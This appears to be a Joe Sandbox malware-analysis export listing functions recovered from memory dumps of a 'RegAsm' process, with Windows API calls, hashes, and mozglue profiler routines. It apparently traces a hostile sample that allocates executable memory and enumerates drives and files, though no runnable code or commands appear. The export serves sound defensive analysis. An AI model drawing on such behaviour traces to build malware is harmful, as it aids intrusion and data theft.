Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 5e10422413539b42bf5c0f3fa128b12628a931a4afcc5f0832f78eb075a7ee3b
Instruction ID: 3d2c3ff73f9fd288211faec72780458d1f3465e1919466c86557ea86080fd633
Opcode Fuzzy Hash: 5e10422413539b42bf5c0f3fa128b12628a931a4afcc5f0832f78eb075a7ee3b
Instruction Fuzzy Hash: 49E01270A0010DFBDB10DBA4DA85FDE77BC6B04348F508525EA45D3181DBB8E649DBA9

Function 00410CDD Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410CE2
GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425C4E,?,?), ref: 00410CF6

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFileH_prolog
String ID:
API String ID: 3244726999-0
Opcode ID: 9858cde492175e4580259da3237b0586ce143e2643660db7b1ce31a318e284b7
Instruction ID: 23f90a50d93cb2e1358a652bfa6555910aea1ee46ff196ae4cba0ec79dbf811d
Opcode Fuzzy Hash: 9858cde492175e4580259da3237b0586ce143e2643660db7b1ce31a318e284b7
Instruction Fuzzy Hash: BEE09B305005149BC714AFA4E4016CDB720EF05764F10422EE866A25D5C7385B45C684

Function 00405A53 Relevance: 2.6, APIs: 2, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,?,00000000,?,?,00405E55,00000000,00000000), ref: 00405AB2
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040,?,00000000,?,?,00405E55,00000000,00000000), ref: 00405ADE

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1c251f108aa80a173728c8da74072c4a570c277b0e51025ace0a2ede7004c7e8
Instruction ID: 0100467e13e99263edfc9c933cb68e83bd3c9ecc7dabaf0022702558aaebf942
Opcode Fuzzy Hash: 1c251f108aa80a173728c8da74072c4a570c277b0e51025ace0a2ede7004c7e8
Instruction Fuzzy Hash: 2521AE71700B059BDB24CFB4CC81BABB7F5EB44314F24492AE61AD72D0D278AD408F18

Function 0040D3FA Relevance: 1.7, APIs: 1, Instructions: 221COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D3FF

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425C4E,?,?), ref: 00410CF6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040A893: _EH_prolog.MSVCRT ref: 0040A898

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID:
API String ID: 2625060131-0
Opcode ID: 56088f79004cf497bad3f02a7e5291dcc555a9d03921c7f1e9fa0e27b921b9e5
Instruction ID: 500d7c88a2085726728d35326e6952772f3e0e38a46ae67bbb90ee8c45411e9d
Opcode Fuzzy Hash: 56088f79004cf497bad3f02a7e5291dcc555a9d03921c7f1e9fa0e27b921b9e5
Instruction Fuzzy Hash: 53915EB1D0024CEADF15EBE5D952BDEBBB8AF18308F50417EE40573282DA78570C8B66

Function 0040A893 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040A898

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00409F72: _EH_prolog.MSVCRT ref: 00409F77
Part of subcall function 00409F72: FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00425C06,00000000,-00000020,00000000), ref: 00409FF6

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$FileFindFirstlstrcpy
String ID:
API String ID: 1592259726-0
Opcode ID: 04f1566bf03f5b57a7be48995494788b674163e3f1712f7d1c8d8cfa6d3f667e
Instruction ID: 11f6703c6529ff65c6027a0a45f3fdb3f97caadc550874a50ef78dc79f4eaafe
Opcode Fuzzy Hash: 04f1566bf03f5b57a7be48995494788b674163e3f1712f7d1c8d8cfa6d3f667e
Instruction Fuzzy Hash: F62171B1900249EBDF20FFA9C9067DDBFB4AF45314F00416EE88963281D7795708CBA6

Function 00401ED6 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401EDB

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00401162: _EH_prolog.MSVCRT ref: 00401167
Part of subcall function 00401162: FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00422374,?,?,?,00422370,?,?,00000000,?,00000000), ref: 004013AC

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$FileFindFirstlstrcpy
String ID:
API String ID: 1592259726-0
Opcode ID: 07963b33fdd111526faf395668dc4852c6ae53a02adfa156883a701ca86dbaae
Instruction ID: 28e08b363bcf4c13626f635e6ad0a869a568ad08ab8b3845b1d26a2f95c805ed
Opcode Fuzzy Hash: 07963b33fdd111526faf395668dc4852c6ae53a02adfa156883a701ca86dbaae
Instruction Fuzzy Hash: 4A215071D00249ABDF20FB69C94679DBFB4AF44714F00452EE89873282DB395749CBD6

Function 00415A3A Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415A3F

Part of subcall function 00412D62: _EH_prolog.MSVCRT ref: 00412D67

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00415843: _EH_prolog.MSVCRT ref: 00415848
Part of subcall function 00415843: GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004158AA
Part of subcall function 00415843: memset.MSVCRT ref: 004158C9
Part of subcall function 00415843: GetDriveTypeA.KERNEL32(?), ref: 004158D2
Part of subcall function 00415843: lstrcpy.KERNEL32(?,00000000), ref: 004158F2
Part of subcall function 00415843: lstrcpy.KERNEL32(?,00000000), ref: 00415933
Part of subcall function 00415843: lstrlenA.KERNEL32(?), ref: 00415998

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$Drivelstrcpy$LogicalStringsTypelstrlenmemset
String ID:
API String ID: 373919974-0
Opcode ID: 247ae862db0cd230e0fc40c152aa8d8d011cf82cb158f3200b1f7138d282f6a1
Instruction ID: 6a8f297f6f97b9a3cf0514685df13ca52355f4dbaeb7c4ae4b28d527b4ace486
Opcode Fuzzy Hash: 247ae862db0cd230e0fc40c152aa8d8d011cf82cb158f3200b1f7138d282f6a1
Instruction Fuzzy Hash: 5E01C031C00249DBCF20EBA8C9827EEBBB0EF40354F10411AE854A3281C7385B84C7D6

Function 00410D21 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 83e6cc5221987d8d92d423f576c0c857877c6fa4a6664693c3a0d08b49ab16c4
Instruction ID: 14537dfbc9dced5e712fe60e3e3a31c8263f1f5987e60415cd97e08317604fbc
Opcode Fuzzy Hash: 83e6cc5221987d8d92d423f576c0c857877c6fa4a6664693c3a0d08b49ab16c4
Instruction Fuzzy Hash: 27F01C7990014CBBDB51DB64C8909EDB7FDEBC4704F0091A6A90593280D6349F459B50

Function 00410D6D Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0ae6c29a3e0a6eb9c824dd13ba767ccc85b4e312debc44e2b21ad53b1228ad09
Instruction ID: 7dcd19726911a1004ec6e1e6dff555a45da34f101be8258439f6e1c6d27db954
Opcode Fuzzy Hash: 0ae6c29a3e0a6eb9c824dd13ba767ccc85b4e312debc44e2b21ad53b1228ad09
Instruction Fuzzy Hash: AAF05C35601610DB871209599C00AE7775BABC6B10708411BDE8C8B304C5B0ECC142E0

Non-executed Functions

Function 6C70F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C70F09B

Part of subcall function 6C6E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B85
Part of subcall function 6C6E5B50: EnterCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B90
Part of subcall function 6C6E5B50: LeaveCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5BD8
Part of subcall function 6C6E5B50: GetTickCount64.KERNEL32 ref: 6C6E5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C70F0AC

Part of subcall function 6C6E5C50: GetTickCount64.KERNEL32 ref: 6C6E5D40
Part of subcall function 6C6E5C50: EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C70F0BE

Part of subcall function 6C6E5C50: __aulldiv.LIBCMT ref: 6C6E5DB4
Part of subcall function 6C6E5C50: LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C70F155
GetCurrentThreadId.KERNEL32 ref: 6C70F1E0
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F1ED
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F212
GetCurrentThreadId.KERNEL32 ref: 6C70F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C70F248
GetCurrentThreadId.KERNEL32 ref: 6C70F2AE
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F2BB
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F2F8

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70F350
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F35D
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F381
GetCurrentThreadId.KERNEL32 ref: 6C70F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F3A0
GetCurrentThreadId.KERNEL32 ref: 6C70F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F491

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C70F3CF

Part of subcall function 6C70F070: GetCurrentThreadId.KERNEL32 ref: 6C70F440
Part of subcall function 6C70F070: AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F44D
Part of subcall function 6C70F070: ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C70F4A8
GetCurrentThreadId.KERNEL32 ref: 6C70F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F561
GetCurrentThreadId.KERNEL32 ref: 6C70F577
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F585
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C70F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C70F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C70F499
[I %d/%d] profiler_resume, xrefs: 6C70F239

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 32d67070f367bb0ea6d45767cc66caad8cb9f0d1fb08b314455e2101d3c6c7b5
Instruction ID: 2bbf6a72a81e9fa62ce3bed21166482b97d739711bfe4e755c8e61d0228e7820
Opcode Fuzzy Hash: 32d67070f367bb0ea6d45767cc66caad8cb9f0d1fb08b314455e2101d3c6c7b5
Instruction Fuzzy Hash: 6ED1E7757042149FDB00AF79D5087AA77F9EB8632CF10853BE97543B81DB705908C7AA

Function 6C6D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C6D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C6D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C6D671C
GetCurrentProcess.KERNEL32 ref: 6C6D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C6D672F
GetCurrentProcess.KERNEL32 ref: 6C6D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C6D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C6D6A80
GetSystemInfo.KERNEL32(?), ref: 6C6D6ABE
__Init_thread_footer.LIBCMT ref: 6C6D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6D6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C6D6798
nvdxgiwrap.dll, xrefs: 6C6D6513
nvd3d9wrap.dll, xrefs: 6C6D6500
detoured.dll, xrefs: 6C6D64DA
user32.dll, xrefs: 6C6D6526
_etoured.dll, xrefs: 6C6D64ED

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 6fc18b5f4b3d3b27d7fdb9b00f7fef0a13feee3f6e901162aa26f852dc123bec
Instruction ID: e144071ab1ea08fceb18639577190882721ec69b720542bfdc19f0968b511b7e
